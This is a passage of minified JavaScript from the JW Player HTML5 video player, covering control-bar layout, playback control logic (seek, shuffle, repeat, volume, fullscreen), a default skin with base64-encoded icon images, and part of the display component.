r(ai){if(ai.newstate==a.api.events.state.BUFFERING||ai.newstate==a.api.events.state.PLAYING){_show(Q.pauseButton);_hide(Q.playButton)}else{_hide(Q.pauseButton);_show(Q.playButton)}A();if(ai.newstate==a.api.events.state.IDLE){_hide(Q.timeSliderBuffer);_hide(Q.timeSliderProgress);_hide(Q.timeSliderThumb);I({id:k.id,duration:k.jwGetDuration(),position:0})}else{_show(Q.timeSliderBuffer);if(ai.newstate!=a.api.events.state.BUFFERING){_show(Q.timeSliderProgress);_show(Q.timeSliderThumb)}}}function L(ai){u({bufferPercent:0});I(_utils.extend(ai,{position:0,duration:ad}))}function I(al){if(_utils.exists(al.position)){j=al.position}if(_utils.exists(al.duration)){ad=al.duration}var aj=(j===ad===0)?0:j/ad;var am=c.timeSliderRail;if(am){var ai=isNaN(Math.round(am.width*aj))?0:Math.round(am.width*aj);var ak=ai;if(Q.timeSliderProgress){Q.timeSliderProgress.style.width=ai+"px";if(!g){if(Q.timeSliderThumb){Q.timeSliderThumb.style.left=ak+"px"}}}}if(Q.durationText){Q.durationText.innerHTML=_utils.timeFormat(ad)}if(Q.elapsedText){Q.elapsedText.innerHTML=_utils.timeFormat(j)}}function n(){var am,aj;var ak=document.getElementById(ac.id+"_elements");if(!ak){return}var al=ak.childNodes;for(var ai in ak.childNodes){if(isNaN(parseInt(ai,10))){continue}if(al[ai].id.indexOf(ac.id+"_divider")===0&&aj&&aj.id.indexOf(ac.id+"_divider")===0&&al[ai].style.backgroundImage==aj.style.backgroundImage){al[ai].style.display="none"}else{if(al[ai].id.indexOf(ac.id+"_divider")===0&&am&&am.style.display!="none"){al[ai].style.display="block"}}if(al[ai].style.display!="none"){aj=al[ai]}am=al[ai]}}function w(){n();if(k.jwGetFullscreen()){_show(Q.normalscreenButton);_hide(Q.fullscreenButton)}else{_hide(Q.normalscreenButton);_show(Q.fullscreenButton)}var aj={width:e};var ai={};if(D.position==a.html5.view.positions.OVER||k.jwGetFullscreen()){aj.left=D.margin;aj.width-=2*D.margin;aj.top=y-J().height-D.margin;aj.height=J().height}var al=k.skin.getSkinElement("controlbar","capLeft");var ak=k.skin.getSkinElement("controlbar","capRight");ai.left=al?al.width:0;ai.width=aj.width-ai.left-(ak?ak.width:0);var am=!_utils.exists(k.skin.getSkinElement("controlbar","timeSliderCapLeft"))?0:k.skin.getSkinElement("controlbar","timeSliderCapLeft").width;_css(Q.timeSliderRail,{width:(ai.width-ab-E),left:am});if(_utils.exists(Q.timeSliderCapRight)){_css(Q.timeSliderCapRight,{left:am+(ai.width-ab-E)})}_css(ac,aj);_css(Q.elements,ai);_css(Q.background,ai);q();return aj}function m(am){if(_utils.exists(Q.volumeSliderRail)){var ak=isNaN(am.volume/100)?1:am.volume/100;var al=_utils.parseDimension(Q.volumeSliderRail.style.width);var ai=isNaN(Math.round(al*ak))?0:Math.round(al*ak);var an=_utils.parseDimension(Q.volumeSliderRail.style.right);var aj=(!_utils.exists(k.skin.getSkinElement("controlbar","volumeSliderCapLeft")))?0:k.skin.getSkinElement("controlbar","volumeSliderCapLeft").width;_css(Q.volumeSliderProgress,{width:ai,left:aj});if(_utils.exists(Q.volumeSliderCapLeft)){_css(Q.volumeSliderCapLeft,{left:0})}}}function t(){N();M();q();p=true;F();D.idlehide=(D.idlehide.toString().toLowerCase()=="true");if(D.position==a.html5.view.positions.OVER&&D.idlehide){ac.style.opacity=0;S=true}else{setTimeout((function(){S=true;T()}),1)}ae()}t();return this}})(jwplayer);(function(b){var a=["width","height","state","playlist","item","position","buffer","duration","volume","mute","fullscreen"];var c=b.utils;b.html5.controller=function(z,w,h,v){var C=z;var G=h;var g=v;var o=w;var J=true;var e=-1;var A=c.exists(G.config.debug)&&(G.config.debug.toString().toLowerCase()=="console");var m=new b.html5.eventdispatcher(o.id,A);c.extend(this,m);var E=[];var d=false;function r(M){if(d){m.sendEvent(M.type,M)}else{E.push(M)}}function K(M){if(!d){m.sendEvent(b.api.events.JWPLAYER_READY,M);if(b.utils.exists(window.playerReady)){playerReady(M)}if(b.utils.exists(window[h.config.playerReady])){window[h.config.playerReady](M)}while(E.length>0){var O=E.shift();m.sendEvent(O.type,O)}if(h.config.autostart&&!b.utils.isIOS()){t(G.item)}while(p.length>0){var N=p.shift();x(N.method,N.arguments)}d=true}}G.addGlobalListener(r);G.addEventListener(b.api.events.JWPLAYER_MEDIA_BUFFER_FULL,function(){G.getMedia().play()});G.addEventListener(b.api.events.JWPLAYER_MEDIA_TIME,function(M){if(M.position>=G.playlist[G.item].start&&e>=0){G.playlist[G.item].start=e;e=-1}});G.addEventListener(b.api.events.JWPLAYER_MEDIA_COMPLETE,function(M){setTimeout(s,25)});function u(){try{f(G.item);if(G.playlist[G.item].levels[0].file.length>0){if(J||G.state==b.api.events.state.IDLE){G.getMedia().load(G.playlist[G.item]);J=false}else{if(G.state==b.api.events.state.PAUSED){G.getMedia().play()}}}return true}catch(M){m.sendEvent(b.api.events.JWPLAYER_ERROR,M)}return false}function I(){try{if(G.playlist[G.item].levels[0].file.length>0){switch(G.state){case b.api.events.state.PLAYING:case b.api.events.state.BUFFERING:G.getMedia().pause();break}}return true}catch(M){m.sendEvent(b.api.events.JWPLAYER_ERROR,M)}return false}function D(M){try{if(G.playlist[G.item].levels[0].file.length>0){if(typeof M!="number"){M=parseFloat(M)}switch(G.state){case b.api.events.state.IDLE:if(e<0){e=G.playlist[G.item].start;G.playlist[G.item].start=M}u();break;case b.api.events.state.PLAYING:case b.api.events.state.PAUSED:case b.api.events.state.BUFFERING:G.seek(M);break}}return true}catch(N){m.sendEvent(b.api.events.JWPLAYER_ERROR,N)}return false}function n(M){if(!c.exists(M)){M=true}try{G.getMedia().stop(M);return true}catch(N){m.sendEvent(b.api.events.JWPLAYER_ERROR,N)}return false}function k(){try{if(G.playlist[G.item].levels[0].file.length>0){if(G.config.shuffle){f(y())}else{if(G.item+1==G.playlist.length){f(0)}else{f(G.item+1)}}}if(G.state!=b.api.events.state.IDLE){var N=G.state;G.state=b.api.events.state.IDLE;m.sendEvent(b.api.events.JWPLAYER_PLAYER_STATE,{oldstate:N,newstate:b.api.events.state.IDLE})}u();return true}catch(M){m.sendEvent(b.api.events.JWPLAYER_ERROR,M)}return false}function j(){try{if(G.playlist[G.item].levels[0].file.length>0){if(G.config.shuffle){f(y())}else{if(G.item===0){f(G.playlist.length-1)}else{f(G.item-1)}}}if(G.state!=b.api.events.state.IDLE){var N=G.state;G.state=b.api.events.state.IDLE;m.sendEvent(b.api.events.JWPLAYER_PLAYER_STATE,{oldstate:N,newstate:b.api.events.state.IDLE})}u();return true}catch(M){m.sendEvent(b.api.events.JWPLAYER_ERROR,M)}return false}function y(){var M=null;if(G.playlist.length>1){while(!c.exists(M)){M=Math.floor(Math.random()*G.playlist.length);if(M==G.item){M=null}}}else{M=0}return M}function t(N){if(!G.playlist||!G.playlist[N]){return false}try{if(G.playlist[N].levels[0].file.length>0){var O=G.state;if(O!==b.api.events.state.IDLE){if(G.playlist[G.item].provider==G.playlist[N].provider){n(false)}else{n()}}f(N);u()}return true}catch(M){m.sendEvent(b.api.events.JWPLAYER_ERROR,M)}return false}function f(M){if(!G.playlist[M]){return}G.setActiveMediaProvider(G.playlist[M]);if(G.item!=M){G.item=M;J=true;m.sendEvent(b.api.events.JWPLAYER_PLAYLIST_ITEM,{index:M})}}function H(N){try{f(G.item);var O=G.getMedia();switch(typeof(N)){case"number":O.volume(N);break;case"string":O.volume(parseInt(N,10));break}return true}catch(M){m.sendEvent(b.api.events.JWPLAYER_ERROR,M)}return false}function q(N){try{f(G.item);var O=G.getMedia();if(typeof N=="undefined"){O.mute(!G.mute)}else{if(N.toString().toLowerCase()=="true"){O.mute(true)}else{O.mute(false)}}return true}catch(M){m.sendEvent(b.api.events.JWPLAYER_ERROR,M)}return false}function l(N,M){try{G.width=N;G.height=M;g.resize(N,M);m.sendEvent(b.api.events.JWPLAYER_RESIZE,{width:G.width,height:G.height});return true}catch(O){m.sendEvent(b.api.events.JWPLAYER_ERROR,O)}return false}function B(N){try{if(typeof N=="undefined"){G.fullscreen=!G.fullscreen;g.fullscreen(!G.fullscreen)}else{if(N.toString().toLowerCase()=="true"){G.fullscreen=true;g.fullscreen(true)}else{G.fullscreen=false;g.fullscreen(false)}}m.sendEvent(b.api.events.JWPLAYER_RESIZE,{width:G.width,height:G.height});m.sendEvent(b.api.events.JWPLAYER_FULLSCREEN,{fullscreen:N});return true}catch(M){m.sendEvent(b.api.events.JWPLAYER_ERROR,M)}return false}function L(M){try{n();G.loadPlaylist(M);f(G.item);return true}catch(N){m.sendEvent(b.api.events.JWPLAYER_ERROR,N)}return false}b.html5.controller.repeatoptions={LIST:"LIST",ALWAYS:"ALWAYS",SINGLE:"SINGLE",NONE:"NONE"};function s(){switch(G.config.repeat.toUpperCase()){case b.html5.controller.repeatoptions.SINGLE:u();break;case b.html5.controller.repeatoptions.ALWAYS:if(G.item==G.playlist.length-1&&!G.config.shuffle){t(0)}else{k()}break;case b.html5.controller.repeatoptions.LIST:if(G.item==G.playlist.length-1&&!G.config.shuffle){n();f(0)}else{k()}break;default:n();break}}var p=[];function F(M){return function(){if(d){x(M,arguments)}else{p.push({method:M,arguments:arguments})}}}function x(O,N){var M=[];for(i=0;i<N.length;i++){M.push(N[i])}O.apply(this,M)}this.play=F(u);this.pause=F(I);this.seek=F(D);this.stop=F(n);this.next=F(k);this.prev=F(j);this.item=F(t);this.setVolume=F(H);this.setMute=F(q);this.resize=F(l);this.setFullscreen=F(B);this.load=F(L);this.playerReady=K}})(jwplayer);(function(a){a.html5.defaultSkin=function(){this.text='<?xml version="1.0" ?><skin author="LongTail Video" name="Five" version="1.0"><settings><setting name="backcolor" value="0xFFFFFF"/><setting name="frontcolor" value="0x000000"/><setting name="lightcolor" value="0x000000"/><setting name="screencolor" value="0x000000"/></settings><components><component name="controlbar"><settings><setting name="margin" value="20"/><setting name="fontsize" value="11"/></settings><elements><element name="background" src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAIAAABvFaqvAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAFJJREFUeNrslLENwAAIwxLU/09j5AiOgD5hVQzNAVY8JK4qEfHMIKBnd2+BQlBINaiRtL/aV2rdzYBsM6CIONbI1NZENTr3RwdB2PlnJgJ6BRgA4hwu5Qg5iswAAAAASUVORK5CYII="/><element name="capLeft" src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAAYCAIAAAC0rgCNAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAD5JREFUeNosi8ENACAMAgnuv14H0Z8asI19XEjhOiKCMmibVgJTUt7V6fe9KXOtSQCfctJHu2q3/ot79hNgANc2OTz9uTCCAAAAAElFTkSuQmCC"/><element name="capRight" src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAAYCAIAAAC0rgCNAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAD5JREFUeNosi8ENACAMAgnuv14H0Z8asI19XEjhOiKCMmibVgJTUt7V6fe9KXOtSQCfctJHu2q3/ot79hNgANc2OTz9uTCCAAAAAElFTkSuQmCC"/><element name="divider" src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAAYCAIAAAC0rgCNAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAD5JREFUeNosi8ENACAMAgnuv14H0Z8asI19XEjhOiKCMmibVgJTUt7V6fe9KXOtSQCfctJHu2q3/ot79hNgANc2OTz9uTCCAAAAAElFTkSuQmCC"/><element name="playButton" src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABUAAAAYCAYAAAAVibZIAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAEhJREFUeNpiYqABYBo1dNRQ+hr6H4jvA3E8NS39j4SpZvh/LJig4YxEGEqy3kET+w+AOGFQRhTJhrEQkGcczfujhg4CQwECDADpTRWU/B3wHQAAAABJRU5ErkJggg=="/><element name="pauseButton" src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABUAAAAYCAYAAAAVibZIAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAChJREFUeNpiYBgFo2DwA0YC8v/R1P4nRu+ooaOGUtnQUTAKhgIACDAAFCwQCfAJ4gwAAAAASUVORK5CYII="/><element name="prevButton" src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABUAAAAYCAYAAAAVibZIAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAEtJREFUeNpiYBgFo2Dog/9QDAPyQHweTYwiQ/2B+D0Wi8g2tB+JTdBQRiIMJVkvEy0iglhDF9Aq9uOpHVEwoE+NJDUKRsFgAAABBgDe2hqZcNNL0AAAAABJRU5ErkJggg=="/><element name="nextButton" src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABUAAAAYCAYAAAAVibZIAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAElJREFUeNpiYBgFo2Dog/9AfB6I5dHE/lNqKAi/B2J/ahsKw/3EGMpIhKEk66WJoaR6fz61IyqemhEFSlL61ExSo2AUDAYAEGAAiG4hj+5t7M8AAAAASUVORK5CYII="/><element name="timeSliderRail" src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAYAAADgdz34AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAADxJREFUeNpiYBgFo2AU0Bwwzluw+D8tLWARFhKiqQ9YuLg4aWsBGxs7bS1gZ6e5BWyjSX0UjIKhDgACDABlYQOGh5pYywAAAABJRU5ErkJggg=="/><element name="timeSliderBuffer" src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAYAAADgdz34AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAD1JREFUeNpiYBgFo2AU0Bww1jc0/aelBSz8/Pw09QELOzs7bS1gY2OjrQWsrKy09gHraFIfBaNgqAOAAAMAvy0DChXHsZMAAAAASUVORK5CYII="/><element name="timeSliderProgress" src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAYAAADgdz34AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAClJREFUeNpiYBgFo2AU0BwwAvF/WlrARGsfjFow8BaMglEwCugAAAIMAOHfAQunR+XzAAAAAElFTkSuQmCC"/><element name="timeSliderThumb" src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAMAAAAICAYAAAA870V8AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAABZJREFUeNpiZICA/yCCiQEJUJcDEGAAY0gBD1/m7Q0AAAAASUVORK5CYII="/><element name="muteButton" src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAA4AAAAYCAYAAADKx8xXAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAADFJREFUeNpiYBgFIw3MB+L/5Gj8j6yRiRTFyICJXHfTXyMLAXlGati4YDRFDj8AEGAABk8GSqqS4CoAAAAASUVORK5CYII="/><element name="unmuteButton" src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAA4AAAAYCAYAAADKx8xXAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAD1JREFUeNpiYBgFgxz8p7bm+cQa+h8LHy7GhEcjIz4bmAjYykiun/8j0fakGPIfTfPgiSr6aB4FVAcAAQYAWdwR1G1Wd2gAAAAASUVORK5CYII="/><element name="volumeSliderRail" src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABoAAAAYCAYAAADkgu3FAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAGpJREFUeNpi/P//PwM9ABMDncCoRYPfIqqDZcuW1UPp/6AUDcNM1DQYKtRAlaAj1mCSLSLXYIIWUctgDItoZfDA5aOoqKhGEANIM9LVR7SymGDQUctikuOIXkFNdhHEOFrDjlpEd4sAAgwAriRMub95fu8AAAAASUVORK5CYII="/><element name="volumeSliderProgress" src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABoAAAAYCAYAAADkgu3FAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAFtJREFUeNpi/P//PwM9ABMDncCoRYPfIlqAeij9H5SiYZiqBqPTlFqE02BKLSLaYFItIttgQhZRzWB8FjENiuRJ7aAbsMQwYMl7wDIsWUUQ42gNO2oR3S0CCDAAKhKq6MLLn8oAAAAASUVORK5CYII="/><element name="fullscreenButton" src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAYAAADgdz34AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAE5JREFUeNpiYBgFo2DQA0YC8v/xqP1PjDlMRDrEgUgxkgHIlfZoriVGjmzLsLFHAW2D6D8eA/9Tw7L/BAwgJE90PvhPpNgoGAVDEQAEGAAMdhTyXcPKcAAAAABJRU5ErkJggg=="/><element name="normalscreenButton" src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAYAAADgdz34AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAEZJREFUeNpiYBgFo2DIg/9UUkOUAf8JiFFsyX88fJyAkcQgYMQjNkzBoAgiezyRbE+tFGSPxQJ7auYBmma0UTAKBhgABBgAJAEY6zON61sAAAAASUVORK5CYII="/></elements></component><component name="display"><elements><element name="background" src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAADIAAAAyCAYAAAAeP4ixAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAEpJREFUeNrszwENADAIA7DhX8ENoBMZ5KR10EryckCJiIiIiIiIiIiIiIiIiIiIiIh8GmkRERERERERERERERERERERERGRHSPAAPlXH1phYpYaAAAAAElFTkSuQmCC"/><element name="playIcon" src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAADIAAAAyCAYAAAAeP4ixAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAALdJREFUeNrs18ENgjAYhmFouDOCcQJGcARHgE10BDcgTOIosAGwQOuPwaQeuFRi2p/3Sb6EC5L3QCxZBgAAAOCorLW1zMn65TrlkH4NcV7QNcUQt7Gn7KIhxA+qNIR81spOGkL8oFJDyLJRdosqKDDkK+iX5+d7huzwM40xptMQMkjIOeRGo+VkEVvIPfTGIpKASfYIfT9iCHkHrBEzf4gcUQ56aEzuGK/mw0rHpy4AAACAf3kJMACBxjAQNRckhwAAAABJRU5ErkJggg=="/><element name="muteIcon" src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAADIAAAAyCAYAAAAeP4ixAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAHJJREFUeNrs1jEOgCAMBVAg7t5/8qaoIy4uoobyXsLCxA+0NCUAAADGUWvdQoQ41x4ixNBB2hBvBskdD3w5ZCkl3+33VqI0kjBBlh9rp+uTcyOP33TnolfsU85XX3yIRpQph8ZQY3wTZtU5AACASA4BBgDHoVuY1/fvOQAAAABJRU5ErkJggg=="/><element name="errorIcon" src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAADIAAAAyCAYAAAAeP4ixAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAWlJREFUeNrsl+1twjAQhsHq/7BBYQLYIBmBDcoGMAIjtBPQTcII2SDtBDBBwrU6pGsUO7YbO470PtKJkz9iH++d4ywWAAAAAABgljRNsyWr2bZzDuJG1rLdZhcMbTjrBCGDyUKsqQLFciJb9bSvuG/WagRVRUVUI6gqy5HVeKWfSgRyJruKIU//TrZTSn2nmlaXThrloi/v9F2STC1W4+Aw5cBzkquRc09bofFNc6YLxEON0VUZS5FPTftO49vMjRsIF3RhOGr7/D/pJw+FKU+q0vDyq8W42jCunDqI3LC5XxNj2wHLU1XjaRnb0Lhykhqhhd8MtSF5J9tbjCv4mXGvKJz/65FF/qJryyaaIvzP2QRxZTX2nTuXjvV/VPFSwyLnW7mpH99yTh1FEVro6JBSd40/pMrRdV8vPtcKl28T2pT8TnFZ4yNosct3Q0io6JfBiz1FlGdqVQH3VHnepAEAAAAAADDzEGAAcTwB10jWgxcAAAAASUVORK5CYII="/><element name="bufferIcon" src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAADIAAAAyCAYAAAAeP4ixAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAuhJREFUeNrsWr9rU1EUznuNGqvFQh1ULOhiBx0KDtIuioO4pJuik3FxFfUPaAV1FTdx0Q5d2g4FFxehTnEpZHFoBy20tCIWtGq0TZP4HfkeHB5N8m6Sl/sa74XDybvv3vvOd8/Pe4lXrVZT3dD8VJc0B8QBcUAcEAfESktHGeR5XtMfqFQq/f92zPe/NbtGlKTdCY30kuxrpMGO94BlQCXs+rbh3ONgA6BlzP1p20d80gEI5hmA2A92Qua1Q2PtAFISM+bvjMG8U+Q7oA3rQGASwrYCU6WpNdLGYbA+Pq5jjXIiwi8EEa2UDbQSaKOIuV+SlkcCrfjY8XTI9EpKGwP0C2kru2hLtHqa4zoXtZRWyvi4CLwv9Opr6Hkn6A9HKgEANsQ1iqC3Ub/vRUk2JgmRkatK36kVrnt0qObunwUdUUMXMWYpakJsO5Am8tAw2GBIgwWA+G2S2dMpiw0gDioQRQJoKhRb1QiDwlHZUABYbaXWsm5ae6loTE4ZDxN4CZar8foVzOJ2iyZ2kWF3t7YIevffaMT5yJ70kQb2fQ1sE5SHr2wazs2wgMxgbsEKEAgxAvZUJbQLBGTSBMgNrncJbA6AljtS/eKDJ0Ez+DmrQEzXS2h1Ck25kAg0IZcUOaydCy4sYnN2fOA+2AP16gNoHALlQ+fwH7XO4CxLenUpgj4xr6ugY2roPMbMx+Xs18m/E8CVEIhxsNeg83XWOAN6grG3lGbk8uE5fr4B/WH3cJw+co/l9nTYsSGYCJ/lY5/qv0thn6nrIWmjeJcPSnWOeY++AkF8tpJHIMAUs/MaBBpj3znZfQo5psY+ZrG4gv5HickjEOymKjEeRpgyST6IuZcTcWbnjcgdPi5ghxciRKsl1lDSsgwA1i8fssonJgzmTSqfGUkCENndNdAL7PS6QQ7ZYISTo+1qq0LEWjTWcvY4isa4z+yfQB+7ooyHVg5RI7/i1Ijn/vnggDggDogD4oC00P4KMACd/juEHOrS4AAAAABJRU5ErkJggg=="/></elements></component><component name="dock"><elements><element name="button" src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAADIAAAAyCAYAAAAeP4ixAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAFBJREFUeNrs0cEJACAQA8Eofu0fu/W6EM5ZSAFDRpKTBs00CQQEBAQEBAQEBAQEBAQEBATkK8iqbY+AgICAgICAgICAgICAgICAgIC86QowAG5PAQzEJ0lKAAAAAElFTkSuQmCC"/></elements></component><component name="playlist"><elements><element name="item" src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAADwAAAA8CAIAAAC1nk4lAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAHhJREFUeNrs2NEJwCAMBcBYuv/CFuIE9VN47WWCR7iocXR3pdWdGPqqwIoMjYfQeAiNh9B4JHc6MHQVHnjggQceeOCBBx77TifyeOY0iHi8DqIdEY8dD5cL094eePzINB5CO/LwcOTptNB4CP25L4TIbZzpU7UEGAA5wz1uF5rF9AAAAABJRU5ErkJggg=="/><element name="sliderRail" src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAA8CAIAAADpFA0BAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAADhJREFUeNrsy6ENACAMAMHClp2wYxZLAg5Fcu9e3OjuOKqqfTMzbs14CIZhGIZhGIZhGP4VLwEGAK/BBnVFpB0oAAAAAElFTkSuQmCC"/><element name="sliderThumb" src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAA8CAIAAADpFA0BAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAADRJREFUeNrsy7ENACAMBLE8++8caFFKKiRffU53112SGs3ttOohGIZhGIZhGIZh+Fe8BRgAiaUGde6NOSEAAAAASUVORK5CYII="/></elements></component></components></skin>';this.xml=null;if(window.DOMParser){parser=new DOMParser();this.xml=parser.parseFromString(this.text,"text/xml")}else{this.xml=new ActiveXObject("Microsoft.XMLDOM");this.xml.async="false";this.xml.loadXML(this.text)}return this}})(jwplayer);(function(a){_utils=a.utils;_css=_utils.css;_hide=function(b){_css(b,{display:"none"})};_show=function(b){_css(b,{display:"block"})};a.html5.display=function(k,G){var j={icons:true,showmute:false};var Q=_utils.extend({},j,G);var h=k;var P={};var e;var u;var w;var N;var s;var I;var A;var J=!_utils.exists(h.skin.getComponentSettings("display").bufferrotation)?15:parseInt(h.skin.getComponentSettings("display").bufferrotation,10);var q=!_utils.exists(h.skin.getComponentSettings("display").bufferinterval)?100:parseInt(h.skin.getComponentSettings("display").bufferinterval,10);var z=-1;var t="";var K=true;var d;var g=false;var n=false;var H=new a.html5.eventdispatcher();_utils.extend(this,H);var D={display:{style:{cursor:"pointer",top:0,left:0,overflow:"hidden"},click:m},display_icon:{style:{cursor:"pointer",position:"absolute",top:((h.skin.getSkinElement("display","background").height-h.skin.getSkinElement("display","playIcon").height)/2),left:((h.skin.getSkinElement("display","background").width-h.skin.getSkinElement("display","playIcon").width)/2),border:0,margin:0,padding:0,zIndex:3,display:"none"}},display_iconBackground:{style:{cursor:"pointer",position:"absolute",top:((u-h.skin.getSkinElement("display","background").height)/2),left:((e-h.skin.getSkinElement("display","background").width)/2),border:0,backgroundImage:(["url(",h.skin.getSkinElement("display","background").src,")"]).join(""),width:h.skin.getSkinElement("display","background").width,height:h.skin.getSkinElement("display","background").height,margin:0,padding:0,zIndex:2,display:"none"}},display_image:{style:{display:"none",width:e,height:u,position:"absolute",cursor:"pointer",left:0,top:0,margin:0,padding:0,textDecoration:"none",zIndex:1}},display_text:{style:{zIndex:4,position:"relative",opacity:0.8,backgroundColor:parseInt("000000",16),color:parseInt("ffffff",16),textAlign:"center",fontFamily:"Arial,sans-serif",padding:"0 5px",fontSize:14}}};h.jwAddEventListener(a.api.events.JWPLAYER_PLAYER_STATE,p);h.jwAddEventListener(a.api.events.JWPLAYER_MEDIA_MUTE,p);h.jwAddEventListener(a.api.events.JWPLAYER_PLAYLIST_ITEM,p);h.jwAddEventListener(a.api.events.JWPLAYER_ERROR,o);L();function L(){P.display=C("div","display");P.display_text=C("div","display_text");P.display.appendChild(P.display_text);P.display_image=C("img","display_image");P.display_image.onerror=function(R){_hide(P.display_image)};P.display_image.onload=y;P.display_icon=C("div","display_icon");P.display_iconBackground=C("div","display_iconBackground");P.display.appendChild(P.display_image);P.display_iconBackground.appendChild(P.display_icon);P.display.appendChild(P.display_iconBackground);f();setTimeout((function(){n=true;if(Q.icons.toString()=="true"){F()}}),1)}this.getDisplayElement=function(){return P.display};this.resize=function(S,R){_css(P.display,{width:S,height:R});_css(P.display_text,{width:(S-10),top:((R-P.display_text.getBoundingClientRect().height)/2)});_css(P.display_iconBackground,{top:((R-h.skin.getSkinElement("display","background").height)/2),left:((S-h.skin.getSkinElement("display","background").width)/2)});if(e!=S||u!=R){e=S;u=R;d=undefined;F()}c();p({})};this.show=function(){if(g){g=false;r(h.jwGetState())}};this.hide=function(){if(!g){B();g=true}};function y(R){w=P.display_image.naturalWidth;N=P.display_image.naturalHeight;c()}function c(){_utils.stretch(h.jwGetStretching(),P.display_image,e,u,w,N)}function C(R,T){var S=document.createElement(R);S.id=h.id+"_jwplayer_"+T;_css(S,D[T].style);return S}function f(){for(var R in P){if(_utils.exists(D[R].click)){P[R].onclick=D[R].click}}}function m(R){if(typeof R.preventDefault!="undefined"){R.preventDefault()}else{R.returnValue=false}if(h.jwGetState()!=a.api.events.state.PLAYING){h.jwPlay()}else{h.jwPause()}}function O(R){if(A){B();return}P.display_icon.style.backgroundImage=(["url(",h.skin.getSkinElement("display",R).src,")"]).join("");_css(P.display_icon,{width:h.skin.getSkinElement("display",R).width,height:h.skin.getSkinElement("display",R).height,top:(h.skin.getSkinElement("display","background").height-h.skin.getSkinElement("display",R).height)/2,left:(h.skin.getSkinElement("display","background").width-h.skin.getSkinElement("display",R).width)/2});b();if(_utils.exists(h.skin.getSkinElement("display",R+"Over"))){P.display_icon.onmouseover=function(S){P.display_icon.style.backgroundImage=["url(",h.skin.getSkinElement("display",R+"Over").src,")"].join("")};P.display_icon.onmouseout=function(S){P.display_icon.style.backgroundImage=["url(",h.skin.getSkinElement("display",R).src,")"].join("")}}else{P.display_icon.onmouseover=null;P.display_icon.onmouseout=null}}function B(){if(Q.icons.toString()=="true"){_hide(P.display_icon);_hide(P.display_iconBackground);M()}}function b(){if(!g&&Q.icons.toString()=="true"){_show(P.display_icon);_show(P.display_iconBackground);F()}}function 